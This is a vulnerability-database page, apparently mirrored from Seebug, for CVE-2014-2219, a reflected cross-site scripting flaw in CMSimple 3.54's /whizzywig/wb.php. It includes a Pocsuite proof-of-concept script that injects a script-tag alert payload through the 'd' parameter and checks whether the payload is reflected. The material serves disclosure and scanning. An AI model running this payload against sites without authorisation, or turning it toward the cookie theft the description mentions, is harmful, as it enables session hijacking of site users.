Lucene search
K

CMSimple '/whizzywig/wb.php'跨站脚本漏洞

🗓️ 25 Mar 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 45 Views

CMSimple 3.54 /whizzywig/wb.php XSS漏洞, 恶意URI传递参数漏

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2014-2219
20 Mar 201416:00
cve
Cvelist
CVE-2014-2219
20 Mar 201416:00
cvelist
EUVD
EUVD-2014-2259
7 Oct 202500:30
euvd
htbridge
Cross-Site Scripting (XSS) in CMSimple
26 Feb 201400:00
htbridge
NVD
CVE-2014-2219
20 Mar 201416:55
nvd
Packet Storm
CMSimple 3.54 Cross Site Scripting
20 Mar 201400:00
packetstorm
Prion
Cross site scripting
20 Mar 201416:55
prion
securityvulns
Cross-Site Scripting (XSS) in CMSimple
4 May 201400:00
securityvulns
securityvulns
Web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)
4 May 201400:00
securityvulns

                                                #!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
    vulID = 'SSV-61903'  # vul ID
    version = '1'
    author = 'fenghh'
    vulDate = '2014-03-25'
    createDate = '2015-10-14'
    updateDate = '2015-10-14'
    references = ['http://sebug.net/vuldb/ssvid-61903']
    name = 'CMSimple 3.54 /whizzywig/wb.php XSS漏洞'
    appPowerLink = 'www.cmsimple.dk'
    appName = 'cmsimple'
    appVersion = '3.54'
    vulType = 'XSS'
    desc = '''  
        漏洞文件:Getarticle.CMSimple不正确过滤传递给"/whizzywig/wb.php"脚本的"d" HTTP GET参数数据,
        允许攻击者构建恶意URI,诱使用户解析,可获得敏感Cookie,劫持会话或在客户端上进行恶意操作。
    '''
    # the sample sites for examine
    samples = ['']

    def _verify(self):
        output = Output(self)
        result = {}
        payload = '/whizzywig/wb.php?d=%27%3E%3Cscript%3Ealert%28%27sebug%27%29%3C/script%3E'
        verify_url = self.url + payload
        content = req.get(verify_url).content
        if '<script>alert("sebug")</script>' in content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = verify_url
            output.success(result)
        else:
            output.fail('XSS Failed')
        return output

    def _attack(self):   
        return self._verify()

register(TestPOC)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Mar 2014 00:00Current
6.6Medium risk
Vulners AI Score6.6
EPSS0.00254
45